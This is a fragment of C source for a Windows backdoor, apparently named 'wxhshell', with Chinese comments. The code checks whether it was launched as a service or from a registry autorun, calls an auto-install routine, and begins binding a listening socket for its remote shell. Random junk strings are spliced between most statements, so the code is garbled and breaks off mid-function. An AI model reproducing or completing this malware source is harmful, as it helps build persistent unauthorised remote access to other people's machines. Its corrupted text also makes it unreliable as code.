2+taB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3WPZZN<K9 =@d->d CloseHandle(hProcess); iVb7>d9} /7WdG)' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,/dW*B if(hProcess==NULL) return 0; 4@Bl 1b[< #eKH'fE HMODULE hMod; "?'9\<> char procName[255]; M|UCV_omN unsigned long cbNeeded; IJLuu@kRm, H4W!@"e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HzAw
rC S|m|ulB CloseHandle(hProcess); Po\d! V" KuwM if(strstr(procName,"services")) return 1; // 以服务启动 `F_R J.g*p Y 9BKd78Y return 0; // 注册表启动 +[[^W;<.l } R'^J#"[ eo&G@zwN // 主模块 $kxu- int StartWxhshell(LPSTR lpCmdLine) j$P`/-N { $@~sO0q SOCKET wsl;
L$@qEsO BOOL val=TRUE; c7]0>nU; int port=0; 9x#Tj/5% struct sockaddr_in door; .cr<.Ov zOYG`:/' if(wscfg.ws_autoins) Install(); <ti,Wn. 9r 5( port=atoi(lpCmdLine); bj@f<f` NH+N+4dEO if(port<=0) port=wscfg.ws_port; :b,An'H n/%M9osF WSADATA data; q<cxmo0S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >oapw5~5 <Kk?BRxi if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nd{k
D>a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )k81 door.sin_family = AF_INET; OZ&SxR%q4 door.sin_addr.s_addr = inet_addr("127.0.0.1"); .lGN
Fx door.sin_port = htons(port); D4T(Dce cvjZ$Fcc%( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .qCI!%fg closesocket(wsl); 8`Tj *7Y= return 1; ksyQ_4^SO } _:KeSskuO D&D- |